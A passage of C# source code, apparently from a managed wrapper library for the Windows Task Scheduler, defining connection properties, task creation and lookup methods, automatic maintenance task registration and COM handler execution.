connect to.\")]\n        public string TargetServer\n        {\n            get => ShouldSerializeTargetServer() ? targetServer : null;\n            set\n            {\n                if (value == null || value.Trim() == string.Empty) value = null;\n                if (string.Compare(value, targetServer, StringComparison.OrdinalIgnoreCase) != 0)\n                {\n                    targetServerSet = true;\n                    targetServer = value;\n                    Connect();\n                }\n            }\n        }\n\n        /// <summary>Gets or sets the user account domain to be used when connecting to the <see cref=\"TargetServer\"/>.</summary>\n        /// <value>The user account domain.</value>\n        [Category(\"Data\"), DefaultValue(null), Description(\"The user account domain to be used when connecting.\")]\n        public string UserAccountDomain\n        {\n            get => ShouldSerializeUserAccountDomain() ? userDomain : null;\n            set\n            {\n                if (value == null || value.Trim() == string.Empty) value = null;\n                if (string.Compare(value, userDomain, StringComparison.OrdinalIgnoreCase) != 0)\n                {\n                    userDomainSet = true;\n                    userDomain = value;\n                    Connect();\n                }\n            }\n        }\n\n        /// <summary>Gets or sets the user name to be used when connecting to the <see cref=\"TargetServer\"/>.</summary>\n        /// <value>The user name.</value>\n        [Category(\"Data\"), DefaultValue(null), Description(\"The user name to be used when connecting.\")]\n        public string UserName\n        {\n            get => ShouldSerializeUserName() ? userName : null;\n            set\n            {\n                if (value == null || value.Trim() == string.Empty) value = null;\n                if (string.Compare(value, userName, StringComparison.OrdinalIgnoreCase) != 0)\n                {\n                    userNameSet = true;\n                    userName = value;\n                    Connect();\n                }\n            }\n        }\n\n        /// <summary>Gets or sets the user password to be used when connecting to the <see cref=\"TargetServer\"/>.</summary>\n        /// <value>The user password.</value>\n        [Category(\"Data\"), DefaultValue(null), Description(\"The user password to be used when connecting.\")]\n        public string UserPassword\n        {\n            get => userPassword;\n            set\n            {\n                if (value == null || value.Trim() == string.Empty) value = null;\n                if (string.CompareOrdinal(value, userPassword) != 0)\n                {\n                    userPasswordSet = true;\n                    userPassword = value;\n                    Connect();\n                }\n            }\n        }\n\n        /// <summary>Gets a <see cref=\"System.Collections.Generic.IEnumerator{T}\"/> which enumerates all the tasks in all folders.</summary>\n        /// <value>A <see cref=\"System.Collections.Generic.IEnumerator{T}\"/> for all <see cref=\"Task\"/> instances.</value>\n        [Browsable(false)]\n        public System.Collections.Generic.IEnumerable<Task> AllTasks => RootFolder.AllTasks;\n\n        /// <summary>Gets a Boolean value that indicates if you are connected to the Task Scheduler service.</summary>\n        [Browsable(false)]\n        public bool Connected => v2TaskService != null && v2TaskService.Connected || v1TaskScheduler != null;\n\n        /// <summary>\n        /// Gets the connection token for this <see cref=\"TaskService\"/> instance. This token is thread safe and can be used to create new\n        /// <see cref=\"TaskService\"/> instances on other threads using the <see cref=\"CreateFromToken\"/> static method.\n        /// </summary>\n        /// <value>The connection token.</value>\n        public ConnectionToken Token =>\n            ConnectionDataManager.TokenFromInstance(TargetServer, UserName, UserAccountDomain, UserPassword, forceV1);\n\n        /// <summary>Gets a value indicating whether the component can raise an event.</summary>\n        protected override bool CanRaiseEvents { get; } = false;\n\n        /// <summary>\n        /// Creates a new <see cref=\"TaskService\"/> instance from a token. Given that a TaskService instance is thread specific, this is the\n        /// preferred method for multi-thread creation or asynchronous method parameters.\n        /// </summary>\n        /// <param name=\"token\">The token.</param>\n        /// <returns>A <see cref=\"TaskService\"/> instance valid for the thread calling this method.</returns>\n        public static TaskService CreateFromToken(ConnectionToken token) => ConnectionDataManager.InstanceFromToken(token);\n\n        /// <summary>Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file.</summary>\n        /// <param name=\"dllPath\">The path to the .dll file that contains the resource.</param>\n        /// <param name=\"resourceId\">The identifier for the resource text (typically a negative number).</param>\n        /// <returns>A string in the format of $(@ [dllPath], [resourceId]).</returns>\n        /// <example>\n        /// For example, the setting this property value to $(@ %SystemRoot%\\System32\\ResourceName.dll, -101) will set the property to the\n        /// value of the resource text with an identifier equal to -101 in the %SystemRoot%\\System32\\ResourceName.dll file.\n        /// </example>\n        public static string GetDllResourceString([NotNull] string dllPath, int resourceId) => $\"$(@ {dllPath}, {resourceId})\";\n\n        /// <summary>\n        /// Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the\n        /// <see cref=\"ITaskHandler\"/> interface.\n        /// </summary>\n        /// <param name=\"clsid\">The CLSID of the COM object.</param>\n        /// <param name=\"data\">An optional string passed to the COM object at startup.</param>\n        /// <param name=\"millisecondsTimeout\">The number of milliseconds to wait or -1 for indefinitely.</param>\n        /// <param name=\"onUpdate\">\n        /// An optional <see cref=\"ComHandlerUpdate\"/> delegate that is called when the COM object calls the\n        /// <see cref=\"ITaskHandlerStatus.UpdateStatus(short, string)\"/> method.\n        /// </param>\n        /// <returns>The value set by the COM object via a call to the <see cref=\"ITaskHandlerStatus.TaskCompleted(int)\"/> method.</returns>\n        public static int RunComHandlerAction(Guid clsid, string data = null, int millisecondsTimeout = -1, ComHandlerUpdate onUpdate = null)\n        {\n            var thread = new ComHandlerThread(clsid, data, millisecondsTimeout, onUpdate, null);\n            thread.Start().Join();\n            return thread.ReturnCode;\n        }\n\n        /// <summary>\n        /// Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the\n        /// <see cref=\"ITaskHandler\"/> interface.\n        /// </summary>\n        /// <param name=\"clsid\">The CLSID of the COM object.</param>\n        /// <param name=\"onComplete\">The action to run on thread completion.</param>\n        /// <param name=\"data\">An optional string passed to the COM object at startup.</param>\n        /// <param name=\"millisecondsTimeout\">The number of milliseconds to wait or -1 for indefinitely.</param>\n        /// <param name=\"onUpdate\">\n        /// An optional <see cref=\"ComHandlerUpdate\"/> delegate that is called when the COM object calls the\n        /// <see cref=\"ITaskHandlerStatus.UpdateStatus(short, string)\"/> method.\n        /// </param>\n        public static void RunComHandlerActionAsync(Guid clsid, Action<int> onComplete, string data = null, int millisecondsTimeout = -1, ComHandlerUpdate onUpdate = null) => new ComHandlerThread(clsid, data, millisecondsTimeout, onUpdate, onComplete).Start();\n\n        /// <summary>Adds or updates an Automatic Maintenance Task on the connected machine.</summary>\n        /// <param name=\"taskPathAndName\">Name of the task with full path.</param>\n        /// <param name=\"period\">The amount of time the task needs once executed during regular Automatic maintenance.</param>\n        /// <param name=\"deadline\">\n        /// The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task\n        /// failed to complete during regular Automatic Maintenance.\n        /// </param>\n        /// <param name=\"executablePath\">The path to an executable file.</param>\n        /// <param name=\"arguments\">The arguments associated with the command-line operation.</param>\n        /// <param name=\"workingDirectory\">\n        /// The directory that contains either the executable file or the files that are used by the executable file.\n        /// </param>\n        /// <returns>A <see cref=\"Task\"/> instance of the Automatic Maintenance Task.</returns>\n        /// <exception cref=\"System.InvalidOperationException\">\n        /// Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later.\n        /// </exception>\n        public Task AddAutomaticMaintenanceTask([NotNull] string taskPathAndName, TimeSpan period, TimeSpan deadline, string executablePath, string arguments = null, string workingDirectory = null)\n        {\n            if (HighestSupportedVersion.Minor < 4)\n                throw new InvalidOperationException(\"Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later.\");\n            var td = NewTask();\n            td.Settings.UseUnifiedSchedulingEngine = true;\n            td.Settings.MaintenanceSettings.Period = period;\n            td.Settings.MaintenanceSettings.Deadline = deadline;\n            td.Actions.Add(executablePath, arguments, workingDirectory);\n            // The task needs to grant explicit FRFX to LOCAL SERVICE (A;;FRFX;;;LS)\n            return RootFolder.RegisterTaskDefinition(taskPathAndName, td, TaskCreation.CreateOrUpdate, null, null, TaskLogonType.InteractiveToken, \"D:P(A;;FA;;;BA)(A;;FA;;;SY)(A;;FRFX;;;LS)\");\n        }\n\n        /// <summary>Creates a new task, registers the task, and returns the instance.</summary>\n        /// <param name=\"path\">\n        /// The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value\n        /// that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot\n        /// be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.\n        /// </param>\n        /// <param name=\"trigger\">The <see cref=\"Trigger\"/> to determine when to run the task.</param>\n        /// <param name=\"action\">The <see cref=\"Action\"/> to determine what happens when the task is triggered.</param>\n        /// <param name=\"userId\">The user credentials used to register the task.</param>\n        /// <param name=\"password\">The password for the userId used to register the task.</param>\n        /// <param name=\"logonType\">\n        /// A <see cref=\"TaskLogonType\"/> value that defines what logon technique is used to run the registered task.\n        /// </param>\n        /// <param name=\"description\">The task description.</param>\n        /// <returns>A <see cref=\"Task\"/> instance of the registered task.</returns>\n        /// <remarks>\n        /// This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder.\n        /// </remarks>\n        /// <example>\n        /// <code lang=\"cs\">\n        /// <![CDATA[\n        /// // Display a log file every other day\n        /// TaskService.Instance.AddTask(\"Test\", new DailyTrigger { DaysInterval = 2 }, new ExecAction(\"notepad.exe\", \"c:\\\\test.log\", null));\n        /// ]]>\n        /// </code>\n        /// </example>\n        public Task AddTask([NotNull] string path, [NotNull] Trigger trigger, [NotNull] Action action, string userId = null, string password = null, TaskLogonType logonType = TaskLogonType.InteractiveToken, string description = null)\n        {\n            var td = NewTask();\n            if (!string.IsNullOrEmpty(description))\n                td.RegistrationInfo.Description = description;\n\n            // Create a trigger that will fire the task at a specific date and time\n            td.Triggers.Add(trigger);\n\n            // Create an action that will launch Notepad whenever the trigger fires\n            td.Actions.Add(action);\n\n            // Register the task in the root folder\n            return RootFolder.RegisterTaskDefinition(path, td, TaskCreation.CreateOrUpdate, userId, password, logonType);\n        }\n\n        /// <summary>Creates a new task, registers the task, and returns the instance.</summary>\n        /// <param name=\"path\">\n        /// The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value\n        /// that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot\n        /// be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.\n        /// </param>\n        /// <param name=\"trigger\">The <see cref=\"Trigger\"/> to determine when to run the task.</param>\n        /// <param name=\"exePath\">The executable path.</param>\n        /// <param name=\"arguments\">The arguments (optional). Value can be NULL.</param>\n        /// <param name=\"userId\">The user credentials used to register the task.</param>\n        /// <param name=\"password\">The password for the userId used to register the task.</param>\n        /// <param name=\"logonType\">\n        /// A <see cref=\"TaskLogonType\"/> value that defines what logon technique is used to run the registered task.\n        /// </param>\n        /// <param name=\"description\">The task description.</param>\n        /// <returns>A <see cref=\"Task\"/> instance of the registered task.</returns>\n        /// <example>\n        /// <code lang=\"cs\">\n        /// <![CDATA[\n        /// // Display a log file every day\n        /// TaskService.Instance.AddTask(\"Test\", QuickTriggerType.Daily, \"notepad.exe\", \"c:\\\\test.log\"));\n        /// ]]>\n        /// </code>\n        /// </example>\n        public Task AddTask([NotNull] string path, QuickTriggerType trigger, [NotNull] string exePath, string arguments = null, string userId = null, string password = null, TaskLogonType logonType = TaskLogonType.InteractiveToken, string description = null)\n        {\n            // Create a trigger based on quick trigger\n            Trigger newTrigger;\n            switch (trigger)\n            {\n                case QuickTriggerType.Boot:\n                    newTrigger = new BootTrigger();\n                    break;\n\n                case QuickTriggerType.Idle:\n                    newTrigger = new IdleTrigger();\n                    break;\n\n                case QuickTriggerType.Logon:\n                    newTrigger = new LogonTrigger();\n                    break;\n\n                case QuickTriggerType.TaskRegistration:\n                    newTrigger = new RegistrationTrigger();\n                    break;\n\n                case QuickTriggerType.Hourly:\n                    newTrigger = new DailyTrigger { Repetition = new RepetitionPattern(TimeSpan.FromHours(1), TimeSpan.FromDays(1)) };\n                    break;\n\n                case QuickTriggerType.Daily:\n                    newTrigger = new DailyTrigger();\n                    break;\n\n                case QuickTriggerType.Weekly:\n                    newTrigger = new WeeklyTrigger();\n                    break;\n\n                case QuickTriggerType.Monthly:\n                    newTrigger = new MonthlyTrigger();\n                    break;\n\n                default:\n                    throw new ArgumentOutOfRangeException(nameof(trigger), trigger, null);\n            }\n\n            return AddTask(path, newTrigger, new Action.ExecAction(exePath, arguments), userId, password, logonType, description);\n        }\n\n        /// <summary>Signals the object that initialization is starting.</summary>\n        public void BeginInit() => initializing = true;\n\n        /// <summary>Signals the object that initialization is complete.</summary>\n        public void EndInit()\n        {\n            initializing = false;\n            Connect();\n        }\n\n        /// <summary>Determines whether the specified <see cref=\"System.Object\"/>, is equal to this instance.</summary>\n        /// <param name=\"obj\">The <see cref=\"System.Object\"/> to compare with this instance.</param>\n        /// <returns><c>true</c> if the specified <see cref=\"System.Object\"/> is equal to this instance; otherwise, <c>false</c>.</returns>\n        public override bool Equals(object obj)\n        {\n            var tsobj = obj as TaskService;\n            if (tsobj != null)\n                return tsobj.TargetServer == TargetServer && tsobj.UserAccountDomain == UserAccountDomain && tsobj.UserName == UserName && tsobj.UserPassword == UserPassword && tsobj.forceV1 == forceV1;\n            return base.Equals(obj);\n        }\n\n        /// <summary>Finds all tasks matching a name or standard wildcards.</summary>\n        /// <param name=\"name\">Name of the task in regular expression form.</param>\n        /// <param name=\"searchAllFolders\">if set to <c>true</c> search all sub folders.</param>\n        /// <returns>An array of <see cref=\"Task\"/> containing all tasks matching <paramref name=\"name\"/>.</returns>\n        public Task[] FindAllTasks(System.Text.RegularExpressions.Regex name, bool searchAllFolders = true)\n        {\n            var results = new System.Collections.Generic.List<Task>();\n            FindTaskInFolder(RootFolder, name, ref results, searchAllFolders);\n            return results.ToArray();\n        }\n\n        /// <summary>Finds all tasks matching a name or standard wildcards.</summary>\n        /// <param name=\"filter\">The filter used to determine tasks to select.</param>\n        /// <param name=\"searchAllFolders\">if set to <c>true</c> search all sub folders.</param>\n        /// <returns>An array of <see cref=\"Task\"/> containing all tasks matching <paramref name=\"filter\"/>.</returns>\n        public Task[] FindAllTasks(Predicate<Task> filter, bool searchAllFolders = true)\n        {\n            if (filter == null) filter = t => true;\n            var results = new System.Collections.Generic.List<Task>();\n            FindTaskInFolder(RootFolder, filter, ref results, searchAllFolders);\n            return results.ToArray();\n        }\n\n        /// <summary>Finds a task given a name and standard wildcards.</summary>\n        /// <param name=\"name\">The task name. This can include the wildcards * or ?.</param>\n        /// <param name=\"searchAllFolders\">if set to <c>true</c> search all sub folders.</param>\n        /// <returns>A <see cref=\"Task\"/> if one matches <paramref name=\"name\"/>, otherwise NULL.</returns>\n        public Task FindTask([NotNull] string name, bool searchAllFolders = true)\n        {\n            var results = FindAllTasks(new Wildcard(name), searchAllFolders);\n            if (results.Length > 0)\n                return results[0];\n            return null;\n        }\n\n        /// <summary>Gets the event log for this <see cref=\"TaskService\"/> instance.</summary>\n        /// <param name=\"taskPath\">(Optional) The task path if only the events for a single task are desired.</param>\n        /// <returns>A <see cref=\"TaskEventLog\"/> instance.</returns>\n        public TaskEventLog GetEventLog(string taskPath = null) => new TaskEventLog(TargetServer, taskPath, UserAccountDomain, UserName, UserPassword);\n\n        /// <summary>Gets the path to a folder of registered tasks.</summary>\n        /// <param name=\"folderName\">\n        /// The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is\n        /// specified with a backslash (\\). An example of a task folder path, under the root task folder, is \\MyTaskFolder. The '.' character\n        /// cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.\n        /// </param>\n        /// <returns><see cref=\"TaskFolder\"/> instance for the requested folder or <c>null</c> if <paramref name=\"folderName\"/> was unrecognized.</returns>\n        /// <exception cref=\"NotV1SupportedException\">\n        /// Folder other than the root (\\) was requested on a system not supporting Task Scheduler 2.0.\n        /// </exception>\n        public TaskFolder GetFolder(string folderName)\n        {\n            TaskFolder f = null;\n            if (v2TaskService != null)\n            {\n                if (string.IsNullOrEmpty(folderName)) folderName = TaskFolder.rootString;\n                try\n                {\n                    var ifld = v2TaskService.GetFolder(folderName);\n                    if (ifld != null)\n                        f = new TaskFolder(this, ifld);\n                }\n                catch (System.IO.DirectoryNotFoundException) { }\n                catch (System.IO.FileNotFoundException) { }\n            }\n            else if (folderName == TaskFolder.rootString || string.IsNullOrEmpty(folderName))\n                f = new TaskFolder(this);\n            else\n                throw new NotV1SupportedException(\"Folder other than the root (\\\\) was requested on a system only supporting Task Scheduler 1.0.\");\n            return f;\n        }\n\n        /// <summary>Returns a hash code for this instance.</summary>\n        /// <returns>A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table.</returns>\n        public override int GetHashCode() => new { A = TargetServer, B = UserAccountDomain, C = UserName, D = UserPassword, E = forceV1 }.GetHashCode();\n\n        /// <summary>Gets a collection of running tasks.</summary>\n        /// <param name=\"includeHidden\">True to include hidden tasks.</param>\n        /// <returns><see cref=\"RunningTaskCollection\"/> instance with the list of running tasks.</returns>\n        public RunningTaskCollection GetRunningTasks(bool includeHidden = true)\n        {\n            if (v2TaskService != null)\n                try\n                {\n                    return new RunningTaskCollection(this, v2TaskService.GetRunningTasks(includeHidden ? 1 : 0));\n                }\n                catch { }\n            return new RunningTaskCollection(this);\n        }\n\n        /// <summary>Gets the task with the specified path.</summary>\n        /// <param name=\"taskPath\">The task path.</param>\n        /// <returns>\n        /// The <see cref=\"Task\"/> instance matching the <paramref name=\"taskPath\"/>, if found. If not found, this method returns <c>null</c>.\n        /// </returns>\n        public Task GetTask([NotNull] string taskPath)\n        {\n            Task t = null;\n            if (v2TaskService != null)\n            {\n                var iTask = GetTask(v2TaskService, taskPath);\n                if (iTask != null)\n                    t = Task.CreateTask(this, iTask);\n            }\n            else\n            {\n                taskPath = Path.GetFileNameWithoutExtension(taskPath);\n                var iTask = GetTask(v1TaskScheduler, taskPath);\n                if (iTask != null)\n                    t = new Task(this, iTask);\n            }\n            return t;\n        }\n\n        /// <summary>\n        /// Returns an empty task definition object to be filled in with settings and properties and then registered using the\n        /// <see cref=\"TaskFolder.RegisterTaskDefinition(string, TaskDefinition)\"/> method.\n        /// </summary>\n        /// <returns>A <see cref=\"TaskDefinition\"/> instance for setting properties.</returns>\n        public TaskDefinition NewTask()\n        {\n            if (v2TaskService != null)\n                return new TaskDefinition(v2TaskService.NewTask(0));\n            var v1Name = \"Temp\" + Guid.NewGuid().ToString(\"B\");\n            return new TaskDefinition(v1TaskScheduler.NewWorkItem(v1Name, CLSID_Ctask, IID_ITask), v1Name);\n        }\n\n        /// <summary>Returns a <see cref=\"TaskDefinition\"/> populated with the properties defined in an XML file.</summary>\n        /// <param name=\"xmlFile\">The XML file to use as input.</param>\n        /// <returns>A <see cref=\"TaskDefinition\"/> instance.</returns>\n        /// <exception cref=\"NotV1SupportedException\">Importing from an XML file is only supported under Task Scheduler 2.0.</exception>\n        public TaskDefinition NewTaskFromFile([NotNull] string xmlFile)\n        {\n            var td = NewTask();\n            td.XmlText = File.ReadAllText(xmlFile);\n            return td;\n        }\n\n        /// <summary>Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode.</summary>\n        public void StartSystemTaskSchedulerManager()\n        {\n            if (Environment.UserInteractive)\n                System.Diagnostics.Process.Start(\"control.exe\", \"schedtasks\");\n        }\n\n        [System.Security.SecurityCritical]\n        void System.Runtime.Serialization.ISerializable.GetObjectData(System.Runtime.Serialization.SerializationInfo info, System.Runtime.Serialization.StreamingContext context)\n        {\n            info.AddValue(\"TargetServer\", TargetServer, typeof(string));\n            info.AddValue(\"UserName\", UserName, typeof(string));\n            info.AddValue(\"UserAccountDomain\", UserAccountDomain, typeof(string));\n            info.AddValue(\"UserPassword\", UserPassword, typeof(string));\n            info.AddValue(\"forceV1\", forceV1, typeof(bool));\n        }\n\n        internal static IRegisteredTask GetTask([NotNull] ITaskService iSvc, [NotNull] string name)\n        {\n            ITaskFolder fld = null;\n            try\n            {\n                fld = iSvc.GetFolder(\"\\\\\");\n                return fld.GetTask(name);\n            }\n            catch\n            {\n                return null;\n            }\n            finally\n            {\n                if (fld != null) Marshal.ReleaseComObject(fld);\n            }\n        }\n\n        internal static ITask GetTask([NotNull] ITaskScheduler iSvc, [NotNull] string name)\n        {\n            if (string.IsNullOrEmpty(name))\n                throw new ArgumentNullException(nameof(name));\n            try\n            {\n                return iSvc.Activate(name, IID_ITask);\n            }\n            catch (UnauthorizedAccessException)\n            {\n                // TODO: Take ownership of the file and try again\n                throw;\n            }\n            catch (ArgumentException)\n            {\n                return iSvc.Activate(name + \".job\", IID_ITask);\n            }\n            catch (FileNotFoundException)\n            {\n                return null;\n            }\n        }\n\n        /// <summary>\n        /// Releases the unmanaged resources used by the <see cref=\"T:System.ComponentModel.Component\"/> and optionally releases the managed resources.\n        /// </summary>\n        /// <param name=\"disposing\">true to release both managed and unmanaged resources; false to release only unmanaged resources.</param>\n        protected override void Dispose(bool disposing)\n        {\n            if (v2TaskService != null)\n            {\n                try\n                {\n                    Marshal.ReleaseComObject(v2TaskService);\n                }\n                catch { }\n                v2TaskService = null;\n            }\n            if (v1TaskScheduler != null)\n            {\n                try\n                {\n                    Marshal.ReleaseComObject(v1TaskScheduler);\n                }\n                catch { }\n                v1TaskScheduler = null;\n            }\n            if (v1Impersonation != null)\n            {\n                v1Impersonation.Dispose();\n                v1Impersonation = null;\n            }\n            if (!connecting)\n                ServiceDisconnected?.Invoke(this, EventArgs.Empty);\n            base.Dispose(disposing);\n        }\n\n        private static Version GetLibraryVersionFromLocalOS()\n        {\n            if (osLibVer == null)\n            {\n                if (Environment.OSVersion.Version.Major < 6)\n                    osLibVer = TaskServiceVersion.V1_1;\n                else\n                {\n                    if (Environment.OSVersion.Version.Minor == 0)\n                        osLibVer = TaskServiceVersion.V1_2;\n                    else if (Environment.OSVersion.Version.Minor == 1)\n                        osLibVer = TaskServiceVersion.V1_3;\n                    else\n                    {\n                        try\n                        {\n                            var fvi = System.Diagnostics.FileVersionInfo.GetVersionInfo(Path.Combine(Environment.SystemDirectory, \"taskschd.dll\"));\n                            if (fvi.FileBuildPart > 9600 && fvi.FileBuildPart <= 14393)\n                                osLibVer = TaskServiceVersion.V1_5;\n                            else if (fvi.FileBuildPart >= 15063)\n                                osLibVer = TaskServiceVersion.V1_6;\n                            else // fvi.FileBuildPart <= 9600\n                                osLibVer = TaskServiceVersion.V1_4;\n                        }\n                        catch { /* ignored */ };\n                    }\n                }\n\n                if (osLibVer == null)\n                    throw new NotSupportedException(@\"The Task Scheduler library version for this system cannot be determined.\");\n            }\n            return osLibVer;\n        }\n\n        private static void Instance_ServiceDisconnected(object sender, EventArgs e) => instance?.Connect();\n\n        /// <summary>Connects this instance of the <see cref=\"TaskService\"/> class to a running Task Scheduler.</summary>\n        private void Connect()\n        {\n            ResetUnsetProperties();\n\n            if (!initializing && !DesignMode)\n            {\n                if (!string.IsNullOrEmpty(userDomain) && !string.IsNullOrEmpty(userName) && !string.IsNullOrEmpty(userPassword) || string.IsNullOrEmpty(userDomain) && string.IsNullOrEmpty(userName) && string.IsNullOrEmpty(userPassword))\n                {\n                    // Clear stuff if already connected\n                    connecting = true;\n                    Dispose(true);\n\n                    if (LibraryIsV2 && !forceV1)\n                    {\n                        v2TaskService = new ITaskService();\n                        if (!string.IsNullOrEmpty(targetServer))\n                        {\n                            // Check to ensure character only server name. (Suggested by bigsan)\n                            if (targetServer.StartsWith(@\"\\\"))\n                                targetServer = targetServer.TrimStart('\\\\');\n                            // Make sure null is provided for local machine to compensate for a native library oddity (Found by ctrollen)\n                            if (targetServer.Equals(Environment.MachineName, StringComparison.CurrentCultureIgnoreCase))\n                                targetServer = null;\n                        }\n                        else\n                            targetServer = null;\n                        v2TaskService.Connect(targetServer, userName, userDomain, userPassword);\n                        targetServer = v2TaskService.TargetServer;\n                        userName = v2TaskService.ConnectedUser;\n                        userDomain = v2TaskService.ConnectedDomain;\n                        maxVer = GetV2Version();\n                    }\n                    else\n                    {\n                        v1Impersonation = new WindowsImpersonatedIdentity(userName, userDomain, userPassword);\n                        v1TaskScheduler = new ITaskScheduler();\n                        if (!string.IsNullOrEmpty(targetServer))\n                        {\n                            // Check to ensure UNC format for server name. (Suggested by bigsan)\n                            if (!targetServer.StartsWith(@\"\\\\\"))\n                                targetServer = @\"\\\\\" + targetServer;\n                        }\n                        else\n                            targetServer = null;\n                        v1TaskScheduler.SetTargetComputer(targetServer);\n                        targetServer = v1TaskScheduler.GetTargetComputer();\n                        maxVer = TaskServiceVersion.V1_1;\n                    }\n                    ServiceConnected?.Invoke(this, EventArgs.Empty);\n                    connecting = false;\n                }\n                else\n                {\n                    throw new ArgumentException(\"A username, password, and domain must be provided.\");\n                }\n            }\n        }\n\n        /// <summary>Finds the task in folder.</summary>\n        /// <param name=\"fld\">The folder.</param>\n        /// <param name=\"taskName\">The wildcard expression to compare task names with.</param>\n        /// <param name=\"results\">The results.</param>\n        /// <param name=\"recurse\">if set to <c>true</c> recurse folders.</param>\n        /// <returns>True if any tasks are found, False if not.</returns>\n        private bool FindTaskInFolder([NotNull] TaskFolder fld, System.Text.RegularExpressions.Regex taskName, ref System.Collections.Generic.List<Task> results, bool recurse = true)\n        {\n            results.AddRange(fld.GetTasks(taskName));\n\n            if (recurse)\n            {\n                foreach (var f in fld.SubFolders)\n                {\n                    if (FindTaskInFolder(f, taskName, ref results))\n                        return true;\n                }\n            }\n            return false;\n        }\n\n        /// <summary>Finds the task in folder.</summary>\n        /// <param name=\"fld\">The folder.</param>\n        /// <param name=\"filter\">The filter to use when looking for tasks.</param>\n        /// <param name=\"results\">The results.</param>\n        /// <param name=\"recurse\">if set to <c>true</c> recurse folders.</param>\n        /// <returns>True if any tasks are found, False if not.</returns>\n        private bool FindTaskInFolder([NotNull] TaskFolder fld, Predicate<Task> filter, ref System.Collections.Generic.List<Task> results, bool recurse = true)\n        {\n            foreach (var t in fld.GetTasks())\n                try\n                {\n                    if (filter(t))\n                        results.Add(t);\n                }\n                catch\n                {\n                    System.Diagnostics.Debug.WriteLine($\"Unable to evaluate filter for task '{t.Path}'.\");\n                }\n\n            if (recurse)\n            {\n                foreach (var f in fld.SubFolders)\n                {\n                    if (FindTaskInFolder(f, filter, ref results))\n                        return true;\n                }\n            }\n            return false;\n        }\n\n        private Version GetV2Version()\n        {\n            var v = v2TaskService.HighestVersion;\n            return new Version((int)(v >> 16), (int)(v & 0x0000FFFF));\n        }\n\n        private void ResetHighestSupportedVersion() => maxVer = Connected ? (v2TaskService != null ? GetV2Version() : TaskServiceVersion.V1_1) : GetLibraryVersionFromLocalOS();\n\n        private void ResetUnsetProperties()\n        {\n            if (!maxVerSet) ResetHighestSupportedVersion();\n            if (!targetServerSet) targetServer = null;\n            if (!userDomainSet) userDomain = null;\n            if (!userNameSet) userName = null;\n            if (!userPasswordSet) userPassword = null;\n        }\n\n        private bool ShouldSerializeHighestSupportedVersion() => LibraryIsV2 && maxVer <= TaskServiceVersion.V1_1;\n\n        private bool ShouldSerializeTargetServer() => targetServer != null && !targetServer.Trim('\\\\').Equals(Environment.MachineName.Trim('\\\\'), StringComparison.InvariantCultureIgnoreCase);\n\n        private bool ShouldSerializeUserAccountDomain() => userDomain != null && !userDomain.Equals(Environment.UserDomainName, StringComparison.InvariantCultureIgnoreCase);\n\n        private bool ShouldSerializeUserName() => userName != null && !userName.Equals(Environment.UserName, StringComparison.InvariantCultureIgnoreCase);\n\n        /// <summary>\n        /// Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing\n        /// information about a <see cref=\"TaskService\"/> between threads.\n        /// </summary>\n        public struct ConnectionToken\n        {\n            internal int token;\n\n            internal ConnectionToken(int value) => token = value;\n        }\n\n        // Manages the list of tokens and associated data\n        private static class ConnectionDataManager\n        {\n            public static List<ConnectionData> connections = new List<ConnectionData>() { new ConnectionData(null) };\n\n            public static TaskService InstanceFromToken(ConnectionToken token)\n            {\n                ConnectionData data;\n                lock (connections)\n                {\n                    data = connections[token.token < connections.Count ? token.token : 0];\n                }\n                return new TaskService(data.TargetServer, data.UserName, data.UserAccountDomain, data.UserPassword, data.ForceV1);\n            }\n\n            public static ConnectionToken TokenFromInstance(string targetServer, string userName = null,\n                            string accountDomain = null, string password = null, bool forceV1 = false)\n            {\n                lock (connections)\n                {\n                    var newData = new ConnectionData(targetServer, userName, accountDomain, password, forceV1);\n                    for (var i = 0; i < connections.Count; i++)\n                    {\n                        if (connections[i].Equals(newData))\n                            return new ConnectionToken(i);\n                    }\n                    connections.Add(newData);\n                    return new ConnectionToken(connections.Count - 1);\n                }\n            }\n        }\n\n        private class ComHandlerThread\n        {\n            public int ReturnCode;\n            private readonly System.Threading.AutoResetEvent completed = new System.Threading.AutoResetEvent(false);\n            private readonly string Data;\n            private readonly Type objType;\n            private readonly TaskHandlerStatus status;\n            private readonly int Timeout;\n\n            public ComHandlerThread(Guid clsid, string data, int millisecondsTimeout, ComHandlerUpdate onUpdate, Action<int> onComplete)\n            {\n                objType = Type.GetTypeFromCLSID(clsid, true);\n                Data = data;\n                Timeout = millisecondsTimeout;\n                status = new TaskHandlerStatus(i =>\n                {\n                    completed.Set();\n                    onComplete?.Invoke(i);\n                }, onUpdate);\n            }\n\n            public System.Threading.Thread Start()\n            {\n                var t = new System.Threading.Thread(ThreadProc);\n                t.Start();\n                return t;\n            }\n\n            private void ThreadProc()\n            {\n                completed.Reset();\n                object obj = null;\n                try { obj = Activator.CreateInstance(objType); } catch { }\n                if (obj == null) return;\n                ITaskHandler taskHandler = null;\n                try { taskHandler = (ITaskHandler)obj; } catch { }\n                try\n                {\n                    if (taskHandler != null)\n                    {\n                        taskHandler.Start(status, Data);\n                        completed.WaitOne(Timeout);\n                        taskHandler.Stop(out ReturnCode);\n                    }\n                }\n                finally\n                {\n                    if (taskHandler != null)\n                        Marshal.ReleaseComObject(taskHandler);\n                    Marshal.ReleaseComObject(obj);\n                }\n            }\n\n            private class TaskHandlerStatus : ITaskHandlerStatus\n            {\n                private readonly Action<int> OnCompleted;\n                private readonly ComHandlerUpdate OnUpdate;\n\n                public TaskHandlerStatus(Action<int> onCompleted, 